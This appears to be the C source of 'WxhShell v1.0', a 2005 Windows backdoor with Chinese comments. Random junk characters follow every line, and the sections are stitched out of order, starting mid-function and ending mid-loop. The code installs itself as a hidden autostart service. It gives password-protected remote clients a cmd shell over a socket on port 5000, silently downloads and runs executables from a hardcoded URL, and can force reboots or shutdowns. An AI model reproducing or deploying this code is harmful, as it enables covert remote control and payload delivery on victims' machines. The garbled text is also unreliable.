    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bm6hZA|  
    if(Boot(SHUTDOWN)) <_f`$z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v Xf:~G]  
    else { xOM_R2Md  
    closesocket(wsh); 08io<c,L  
    ExitThread(0); *+~D+_,  
    } ^;64!BaK  
    break; ;o%:7 &  
    } IQoH@l&Xk  
  // 获取shell sU*3\  
  case 's': { UKYupLu5  
    CmdShell(wsh); Zsk?QS FE  
    closesocket(wsh); s*+ZYPk  
    ExitThread(0); Z~R dFC  
    break; Mz}i[|U\  
  } +_-Y`O!Q  
  // 退出 .xnQd^qoac  
  case 'x': { Q;@X2 JSp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \6LcVik  
    CloseIt(wsh); {9'hOi50  
    break; [,nfAY  
    } J=V yyUB  
  // 离开 2 mq%|VG'  
  case 'q': { kDg{ >mf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wXcMt>3  
    closesocket(wsh); :o<N!*pT  
    WSACleanup(); c&A]pLn+x  
    exit(1); 4)E|&)-fu8  
    break; tgfM:kzw  
        } #!Ze\fOC  
  } mf~Lzp  
  } X,&xhSzg?  
{\luieG  
  // 提示信息 VlV)$z_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); excrXx  
} :SQ LfOQ  
  } bCt_y R  
w0$R`MOR+  
  return; w@2~`<Hk'"  
} tNYJQ  
j^rYFS w:Q  
// shell模块句柄 F;X"3F.!  
int CmdShell(SOCKET sock) *<?XTs<  
{ 0tSA|->(  
STARTUPINFO si; Ef-a4Pi  
ZeroMemory(&si,sizeof(si)); BQuRHi IV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f{f_g8f[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !HvGlj@(|  
PROCESS_INFORMATION ProcessInfo; =s6E/K  
char cmdline[]="cmd"; fls#LcI9>6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~X[S<Gi#  
  return 0; jJ*=Ghu-  
} B0S8vU  
N]V/83_  
// 自身启动模式 >|5XaaDa  
int StartFromService(void) xdCs5ko  
{ 5UPPk$8 `  
typedef struct (UXv,_"nU  
{ \N4d_ fPj  
  DWORD ExitStatus; `)LIVi"(D  
  DWORD PebBaseAddress; /XjN%|  
  DWORD AffinityMask; vB=;_=^i 1  
  DWORD BasePriority; Bmmb  
  ULONG UniqueProcessId; Cv0&prt  
  ULONG InheritedFromUniqueProcessId; QZ?O;K1|y  
}   PROCESS_BASIC_INFORMATION; HqB|SWyK  
VVgsLQd  
PROCNTQSIP NtQueryInformationProcess; yW[L,N7d  
Jm%mm SYK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OA!R5sOz"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P4i3y{$V  
_F3KFQ4,S-  
  HANDLE             hProcess; r+SEw ;  
  PROCESS_BASIC_INFORMATION pbi; 'n>EEQyp'  
`D4oAx d9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `!]R!T@C  
  if(NULL == hInst ) return 0; Al=(sHc'  
_s2m-jm7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 56"#Syj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VjC*(6<Gj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 kEx48  
Oi6f8*,  
  if (!NtQueryInformationProcess) return 0; P= &'wblm?  
2%`^(\y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P"oYC$  
  if(!hProcess) return 0; f<'n5}{RO0  
a$~IQ2$|6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E(7@'d{o  
B:B8"ODV  
  CloseHandle(hProcess); B{[f}h.n  
R|nEd/' <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~?2rGE  
if(hProcess==NULL) return 0; #Tup]czO  
/A %om|+Gq  
HMODULE hMod; bELIRM9  
char procName[255]; 71JM [2  
unsigned long cbNeeded; )3BR[*u*  
=X)Q7u".7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,Le&I9*%  
-08&&H  
  CloseHandle(hProcess); ;r gH}r  
j2< !z;2  
if(strstr(procName,"services")) return 1; // 以服务启动 tx2Vyu  
W`w5jk'0^=  
  return 0; // 注册表启动 TS\9<L9S  
} >2]Eaw&W  
I;`Ko_i  
// 主模块 qk_p}l-F1  
int StartWxhshell(LPSTR lpCmdLine) WF+bN#YJ  
{ R88(dEK  
  SOCKET wsl; 54`bE$:+  
BOOL val=TRUE; ZAI1p+  
  int port=0; @ChN_gd3!  
  struct sockaddr_in door; yq/[/*7^  
1<XiD 3H;  
  if(wscfg.ws_autoins) Install(); A6@+gP<  
J0IdFFZ|w  
port=atoi(lpCmdLine); g i1}5DR  
-_y~rx >  
if(port<=0) port=wscfg.ws_port; XV74F l  
wQF&GGY R  
  WSADATA data; {{^Mr)]5K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; btUUZ"q<  
S(g<<Te  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4@/q_*3o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0C7thl{Dms  
  door.sin_family = AF_INET; a}5vY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n4ds;N3Hd  
  door.sin_port = htons(port); gE-w]/1zD5  
1Y H4a|bc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pl jV|.?  
closesocket(wsl); zPX=MfF  
return 1; /7UovKKbz  
} <6d{k[7fz)  
)z ?&" I  
  if(listen(wsl,2) == INVALID_SOCKET) { %0ll4"  
closesocket(wsl); *3w/`R<\  
return 1; *pcbwd!/  
} wu&|~@_s@  
  Wxhshell(wsl); 6nY )D6$JG  
  WSACleanup(); )rs|=M=Xk  
~xlMHf  
return 0; ,p[\fT($]  
W(u6J#2  
} #VQGN2bK.  
`>`K7-H  
// 以NT服务方式启动 4y]:Gq z~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v$.JmL0^J  
{ Z?.p%*>`T=  
DWORD   status = 0; p5twL  
  DWORD   specificError = 0xfffffff; j(@g   
i#M a -0#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a.Rp#}f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rHC+nou  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dho[{xJ46  
  serviceStatus.dwWin32ExitCode     = 0; SBN_>;$c5}  
  serviceStatus.dwServiceSpecificExitCode = 0; bgzT3KZ  
  serviceStatus.dwCheckPoint       = 0; rr07\;  
  serviceStatus.dwWaitHint       = 0; *Lb(urf  
|`)V^e_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JT.\f,z&  
  if (hServiceStatusHandle==0) return; 'sjJSc  
P$(iB.&  
status = GetLastError(); #T$'.M  
  if (status!=NO_ERROR) 7fN&Q~.  
{ jnU*l\,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XTi0,e]5{u  
    serviceStatus.dwCheckPoint       = 0; njwR~aL`|  
    serviceStatus.dwWaitHint       = 0; WDH[kJ  
    serviceStatus.dwWin32ExitCode     = status; Jc"$p\ $-  
    serviceStatus.dwServiceSpecificExitCode = specificError; cDQw`ORP*g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); nuQLq^e  
    return; +SuUI-.  
  } Mc$v~|i6  
lU50.7<08  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :#W>SO  
  serviceStatus.dwCheckPoint       = 0; ,# jOf{L*  
  serviceStatus.dwWaitHint       = 0; z)<pqN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T`w};]z^d2  
} iM\ Z J6  
Lm*LJ_+ B  
// 处理NT服务事件,比如:启动、停止 IYM@(c@ld0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P=SxiXsr$  
{ 5rHnU<H@y  
switch(fdwControl) &h4Z|h[01  
{ ^?^|Y?f2P?  
case SERVICE_CONTROL_STOP: H:{(CY?t  
  serviceStatus.dwWin32ExitCode = 0; 0JZq:hUd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RP@idz  
  serviceStatus.dwCheckPoint   = 0; .k:&&sAz  
  serviceStatus.dwWaitHint     = 0; ;cm{4%=Iqe  
  { _"w!KNX>(~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XUqE5[O%  
  } b1>$sPJ+  
  return; A^Hp#b @  
case SERVICE_CONTROL_PAUSE: 0.Ol@fO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y1"^S  
  break; LWb}) #E  
case SERVICE_CONTROL_CONTINUE: Wn,g!rB^@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ko]h r  
  break; r+#V{oE_  
case SERVICE_CONTROL_INTERROGATE: ;'18  
  break; Q-dHR i  
}; -WW!V(~p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4#7@KhK}  
} 'a{5}8+8  
K{w=qJBM  
// 标准应用程序主函数 _2 !e!Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^nm!NL{z^  
{ % /4_|@<'  
\7tvNa,C  
// 获取操作系统版本 }9Dv\"t5  
OsIsNt=GetOsVer(); ']6#7NU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "vRqtEBO@  
(uK), *6B  
  // 从命令行安装 Y)5uK:)^  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3{L vKe  
C<=p"pWw  
  // 下载执行文件 <sFf'W_3{  
if(wscfg.ws_downexe) { ];}|h|q/{}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rw=E_q{  
  WinExec(wscfg.ws_filenam,SW_HIDE); YK+Z0ry  
} +p}Xmn  
gLxy RbVI  
if(!OsIsNt) { wG[l9)lz  
// 如果时win9x,隐藏进程并且设置为注册表启动 WI 4_4  
HideProc(); (X7yNIPfA  
StartWxhshell(lpCmdLine); d\Z4?@T<5  
} [3NV #  
else @dKf]&h%%  
  if(StartFromService()) 0|Ft0y`+  
  // 以服务方式启动 z iGL4c0p  
  StartServiceCtrlDispatcher(DispatchTable); w>UV\`x  
else jW$f(qAbm  
  // 普通方式启动 .MPOUo/e  
  StartWxhshell(lpCmdLine); I%|s  
Q)X\VQcgj  
return 0; s ;Nu2aOp7  
} AX Jj"hN  
`/Jr8J_  
$/#)  
g#3x)97Z  
=========================================== 95&sFT C  
&'2l_b  
p 8Hv7*  
s"F,=]HQ!G  
l>P~M50D?{  
9>, \QrrH  
" /38Pp%  
XxQ2g&USk  
#include <stdio.h> N5]68Fu'({  
#include <string.h> ",GC\#^v  
#include <windows.h> <sG>[\i  
#include <winsock2.h> Qnc S&  
#include <winsvc.h> l{ { #tW  
#include <urlmon.h> 52Ffle8  
?UIb!k>  
#pragma comment (lib, "Ws2_32.lib") Y(mwJud|  
#pragma comment (lib, "urlmon.lib") 2uB26SEIl  
$jL.TraV7  
#define MAX_USER   100 // 最大客户端连接数 r2`?Ta  
#define BUF_SOCK   200 // sock buffer Ok"wec+,  
#define KEY_BUFF   255 // 输入 buffer O4URr  
%j`]x -aOz  
#define REBOOT     0   // 重启 M/ \~  
#define SHUTDOWN   1   // 关机 XwGJ 8&N  
tjL#?j  
#define DEF_PORT   5000 // 监听端口 1O{67Pf  
@g?z>n n  
#define REG_LEN     16   // 注册表键长度 sbb{VV`I  
#define SVC_LEN     80   // NT服务名长度 <m\TZQBD  
E$baQU hKS  
// 从dll定义API EH%j$=@X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V6o,}o&-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !b Km}1T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cq'r 'cBZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z#ET-[ I  
#wcoLCjs)  
// wxhshell配置信息 .- o,_eg1f  
struct WSCFG { $xwF;:)  
  int ws_port;         // 监听端口 +d. Bf  
  char ws_passstr[REG_LEN]; // 口令 JaTW/~ TU  
  int ws_autoins;       // 安装标记, 1=yes 0=no ng\S%nA&J  
  char ws_regname[REG_LEN]; // 注册表键名 Il[WXt<S  
  char ws_svcname[REG_LEN]; // 服务名 U^S0H(>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z$gY}Bz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dWEx55>,1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4+Kc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F.6SX (x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QUO?q+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l K%Hb=  
~M=`f{-$K  
}; uW|y8 BP $  
#-O4x`W>  
// default Wxhshell configuration ?2a gU  
struct WSCFG wscfg={DEF_PORT, n1V*VQV  
    "xuhuanlingzhe", x3 <Lx^;  
    1, xae7#d0  
    "Wxhshell", bL<cg tz7)  
    "Wxhshell", ?xega-l  
            "WxhShell Service", USY^ [@o[f  
    "Wrsky Windows CmdShell Service", N_U D7P1  
    "Please Input Your Password: ", -rBj-4|"  
  1, _`_$U MK;  
  "http://www.wrsky.com/wxhshell.exe", iW)Ou?aS  
  "Wxhshell.exe" 92R{V%)G  
    }; r0,}f\  
! `o =2b=N  
// 消息定义模块 CEiG jo^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NoT oLt\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8^~]Ym:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pbNVj~#6  
char *msg_ws_ext="\n\rExit."; n/-I7Q!;u  
char *msg_ws_end="\n\rQuit."; f sMF46  
char *msg_ws_boot="\n\rReboot..."; \_oHuw  
char *msg_ws_poff="\n\rShutdown..."; (pl OV)  
char *msg_ws_down="\n\rSave to "; DBRTZES  
J5-^@JYK  
char *msg_ws_err="\n\rErr!"; }j QwP3eY  
char *msg_ws_ok="\n\rOK!"; 6[i-Tl  
mi+I)b=  
char ExeFile[MAX_PATH]; U3>G9g>^B  
int nUser = 0; jw H)x  
HANDLE handles[MAX_USER]; b^1!_1c  
int OsIsNt; NB[b[1 Ch  
Ec|#i  
SERVICE_STATUS       serviceStatus; fa)G$Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2gi`^%#k]  
z\a#"2(G.  
// 函数声明 hhpH)Bi=  
int Install(void); 2KU [Yd  
int Uninstall(void); 6w' ^,V  
int DownloadFile(char *sURL, SOCKET wsh); &( Z8G~h4  
int Boot(int flag); &WIPz\  
void HideProc(void); /Bc ;)~  
int GetOsVer(void); #qzozQ4  
int Wxhshell(SOCKET wsl); )7f:hg  
void TalkWithClient(void *cs); e(b*T  
int CmdShell(SOCKET sock); y37@4p^@9  
int StartFromService(void); qzXch["So  
int StartWxhshell(LPSTR lpCmdLine); N:0mjHG  
z5?xmffB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V\A?1   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xln'~5~)  
@?z*: 7a  
// 数据结构和表定义 FQ_4a}UOjX  
SERVICE_TABLE_ENTRY DispatchTable[] = {min9  
{ N=(rl#<  
{wscfg.ws_svcname, NTServiceMain}, ibh!8"[  
{NULL, NULL} 3AWg43L7  
}; *@dqAr%  
 {sbQf7)  
// 自我安装 8[eH8m#~$  
int Install(void) SH"O<c Dp  
{ A@GyKx%x$  
  char svExeFile[MAX_PATH]; 74>.E^ /x  
  HKEY key; b}Jcj  
  strcpy(svExeFile,ExeFile); mIt=r_  
S?&ntUah  
// 如果是win9x系统,修改注册表设为自启动 i0hF9M  
if(!OsIsNt) { XB2[{XH,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &GX pRo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -(P"+g3T  
  RegCloseKey(key); qXgg"k%A\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JpN+'/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @xR=bWY  
  RegCloseKey(key); E`$d!7O  
  return 0; qn:3s  
    } ki39$A'8  
  } ;V@o 2a  
} Q! WXFS  
else { w!7Hl9BW  
w\!aKeP'  
// 如果是NT以上系统,安装为系统服务 _3.=| @L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6cDe_v|,  
if (schSCManager!=0) It&$R`k  
{ C0J/FFBQ^  
  SC_HANDLE schService = CreateService pkQEry&Z  
  ( rxJmK$qd  
  schSCManager,  Q#i[Y?$L  
  wscfg.ws_svcname, *>I4X=  
  wscfg.ws_svcdisp, p@0Va  
  SERVICE_ALL_ACCESS, ]hRCB=G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,ir(~g+{g  
  SERVICE_AUTO_START, +/E`u|%|\]  
  SERVICE_ERROR_NORMAL, A&XI1. j6  
  svExeFile, S}WQ~e  
  NULL, =f4>vo}@k  
  NULL, 7,X5]U&A<x  
  NULL, 06X4mu{  
  NULL, 8iQ8s;@S&>  
  NULL <A"[Wk  
  ); Z#+lwZD  
  if (schService!=0) Z7)la |  
  { F|nJ3:v  
  CloseServiceHandle(schService); UaG })  
  CloseServiceHandle(schSCManager); @'P\c   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P3Ocfpf Bp  
  strcat(svExeFile,wscfg.ws_svcname); ;d5d$Np@m&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "h58I)O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !X5n'1&  
  RegCloseKey(key); @~1}n/  
  return 0; 20h+^R3{Z  
    } , !0-;H.Y  
  } IHC {2 ^  
  CloseServiceHandle(schSCManager); (m:ktd=x  
} 4@0y$Dv\  
} D6z*J?3^#&  
)a99@`L\P  
return 1; @ (4$<><  
} /N=;3yWF  
% XvJJ  
// 自我卸载 'fo.1  
int Uninstall(void) E)ne z  
{ :9?y-X  
  HKEY key; EUGN`t-M  
';,Rq9-'  
if(!OsIsNt) { m6wrG`-di  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iC(&U YL  
  RegDeleteValue(key,wscfg.ws_regname); nI0TvB D  
  RegCloseKey(key); aI^Z0[P+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4C]>{osv  
  RegDeleteValue(key,wscfg.ws_regname); crvq]J5  
  RegCloseKey(key); lD+f{GR  
  return 0; HdR%n  
  } e]5 n4"]D)  
} `PH]_]:%  
} 4arqlz lo  
else { u*w'.5l  
?mq<#/qb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OK8|w]-A  
if (schSCManager!=0) /k_?S?  
{ VV'*3/I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zLt7jxx  
  if (schService!=0) =]F;{x  
  { JbR;E`8  
  if(DeleteService(schService)!=0) { P,RdY M06  
  CloseServiceHandle(schService); P&$ m2^K  
  CloseServiceHandle(schSCManager); 8 o^ h\9I  
  return 0; F<9S,  
  } Ew,1*WK!  
  CloseServiceHandle(schService); x )w6  
  } 4).i4]%LH  
  CloseServiceHandle(schSCManager); 4+1aW BJ2  
} g#}a?kTM@  
} h+d  \u  
\""sf{S9  
return 1; b~Q8&z2  
} hW Va4  
P/?'ea  
// 从指定url下载文件 9*&RvsrX  
int DownloadFile(char *sURL, SOCKET wsh) ,GVD.whUl  
{ j t6q8  
  HRESULT hr; kD?lMA__  
char seps[]= "/"; 77?D ~N[  
char *token; #)7THx/=  
char *file; ]>T4\?aC  
char myURL[MAX_PATH]; FG @ ')N!g  
char myFILE[MAX_PATH]; o?]N2e&(  
V/,@hv`+  
strcpy(myURL,sURL); c7~>uNgJ  
  token=strtok(myURL,seps); /&jh10}H  
  while(token!=NULL) +$SJ@IH[<  
  { Xe. az  
    file=token; G[4$@{  
  token=strtok(NULL,seps); <n|ayxA)  
  } `{v!|.d<  
Lbwc2Q,.-  
GetCurrentDirectory(MAX_PATH,myFILE); }#D+}Mo!,  
strcat(myFILE, "\\"); *Y\C5L ]  
strcat(myFILE, file); T=~D>2C  
  send(wsh,myFILE,strlen(myFILE),0); 9esMr0*=  
send(wsh,"...",3,0); N)0V6q"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^V;h>X|  
  if(hr==S_OK) \LbBK ~l-I  
return 0; ]ML(=7z"  
else PYhRP00}M  
return 1; ^Ee"w7XjD  
L!l`2[F|  
} Mv%"aFC  
vlSSw+r9  
// 系统电源模块 Op>l~{{{  
int Boot(int flag) )&pcRFl  
{ @;1Ym\zc  
  HANDLE hToken; ~A-Y%P  
  TOKEN_PRIVILEGES tkp; g*-%.fNA  
XtP5IN\S  
  if(OsIsNt) { T P#Hq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X1Vj"4'wT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VlbS\Y.  
    tkp.PrivilegeCount = 1; CA[3 R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c80!Ub@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DGrk}   
if(flag==REBOOT) { "x~su?KiA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f:u3fL  
  return 0; )z=L^ot  
} 5'%nLW7;O  
else { QTLGM-Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HB:VpNFn  
  return 0; ^X\SwgD2w  
} gT0N\oU"  
  } '5; /V  
  else { [#mRlL0yk  
if(flag==REBOOT) { $z \H*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XN %tcaY  
  return 0; UY~N4IR8  
} /O {iL:`  
else { b-Xc6f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J<h! H  
  return 0; F`8B PWUY  
} dW#T1mB  
} O;83A  
W:S?_JM  
return 1; 8D:0Vhx\I  
} 3!qp+i)?  
p"tCMB  
// win9x进程隐藏模块 YQN@;  
void HideProc(void) :c}"a(|  
{ d]r?mnN W  
#dhce0m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a%XF"*^v  
  if ( hKernel != NULL ) $az9Fmta  
  { 0i4XS*vPv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  P0<)E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >hv8zHOO:  
    FreeLibrary(hKernel); )l6(ss!J  
  } `NB6Of*/  
vp&N)t_  
return; q~6a$8+t  
} PFI^+';  
*|({(aZ  
// 获取操作系统版本 T o$D [-  
int GetOsVer(void) (;cKv  
{ )zAATBb4.  
  OSVERSIONINFO winfo; 9r=yfc!cS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E>isl"  
  GetVersionEx(&winfo); d A>6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~@d4p|K  
  return 1; XE($t2x,M  
  else 4L<;z'   
  return 0; 5b$QXO  
} FM,o&0HSd  
zT+ "Z(oz,  
// 客户端句柄模块 o-+H-  
int Wxhshell(SOCKET wsl) MmH(dp+  
{ ZLlAK?N  
  SOCKET wsh; fRK=y+gl@  
  struct sockaddr_in client; 3eN(Sw@p  
  DWORD myID; yi:1cLq2  
v9MliD'  
  while(nUser<MAX_USER) [PH56f  
{ (sp{.bU  
  int nSize=sizeof(client); (nAg ~i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fd/Ra]@\Y  
  if(wsh==INVALID_SOCKET) return 1; I/_,24[  
|\T!,~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Cig! 3  
if(handles[nUser]==0) g`I$U%a_2  
  closesocket(wsh); aC#{@t  
else 6yK"g7  
  nUser++; >2ny/AK|  
  } C *]XQ1F4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .6A{   
Lm7fz9F%  
  return 0; :LLz$[c8  
} \4Z"s[8}  
TGzs|-  
// 关闭 socket DAQozhP8  
void CloseIt(SOCKET wsh) AH|'{  
{ S4D~`"4 $/  
closesocket(wsh); 7-MyiCt  
nUser--; @vPGkM#oW  
ExitThread(0); ,B$e'KQ  
} (d#W3  
J<-2dvq  
// 客户端请求句柄 &24>9  
void TalkWithClient(void *cs) 4 IXa[xAm  
{  \z?-  
Idr|-s%l6'  
  SOCKET wsh=(SOCKET)cs; F32U;fp3  
  char pwd[SVC_LEN]; e!P]$em|1E  
  char cmd[KEY_BUFF]; 85ND 3F6q4  
char chr[1]; M7c53fz  
int i,j; vjd;*ORB  
9ZG__R3B1\  
  while (nUser < MAX_USER) { :s#&nY  
9` G}GU]@}  
if(wscfg.ws_passstr) { D`NQEt"(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7vEZb.~4z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DHh30b$c  
  //ZeroMemory(pwd,KEY_BUFF); .1h1J  
      i=0; K!;>/3Y2-  
  while(i<SVC_LEN) { ~}ba2dU8  
#$v,.Yk  
  // 设置超时 ICUI0/J  
  fd_set FdRead; ^A$p)`KR  
  struct timeval TimeOut; wu19Pg?F  
  FD_ZERO(&FdRead); 0ae}!LO  
  FD_SET(wsh,&FdRead); ::!{f+Up  
  TimeOut.tv_sec=8; U_Am Riy  
  TimeOut.tv_usec=0; %-3wR@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 89[OaT_hs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $<d3g :  
5Cl;h^R|m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RaAvPIJa |  
  pwd=chr[0]; N>',[4pJ|  
  if(chr[0]==0xd || chr[0]==0xa) { ?o_ D#gG*  
  pwd=0; ])mYE }g  
  break; b_-?ZmV^r  
  } hlBqcOpkKg  
  i++; 8&++S> <  
    } #<gD@Jybu  
jmva0K},SE  
  // 如果是非法用户,关闭 socket fC!+"g55  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hb@PQcj  
} CYN")J8V  
g:fzf>oQ>p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I 2*\J)|f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{@hD+  
IW- BY =C  
while(1) { Lb%:u5X\D@  
XV:icY  
  ZeroMemory(cmd,KEY_BUFF); {{Z3M>Q  
b[ .pD3  
      // 自动支持客户端 telnet标准   $D~vuA7  
  j=0; mE3M$2}  
  while(j<KEY_BUFF) { rWxQ;bb#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bey|f/ <  
  cmd[j]=chr[0]; P> i lRb  
  if(chr[0]==0xa || chr[0]==0xd) { p^?]xD(  
  cmd[j]=0; TW~9<c  
  break; +<\.z*  
  } L(\o66a-rV  
  j++; _.K<#S  
    } 0j(/N  
gukKa  
  // 下载文件 kc}&\y  
  if(strstr(cmd,"http://")) { VXIB9 /*i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?;?$\ b=  
  if(DownloadFile(cmd,wsh)) |(O _K(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~6O<5@k  
  else EmubpUS;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oO~LiK>  
  } E>3(ff&  
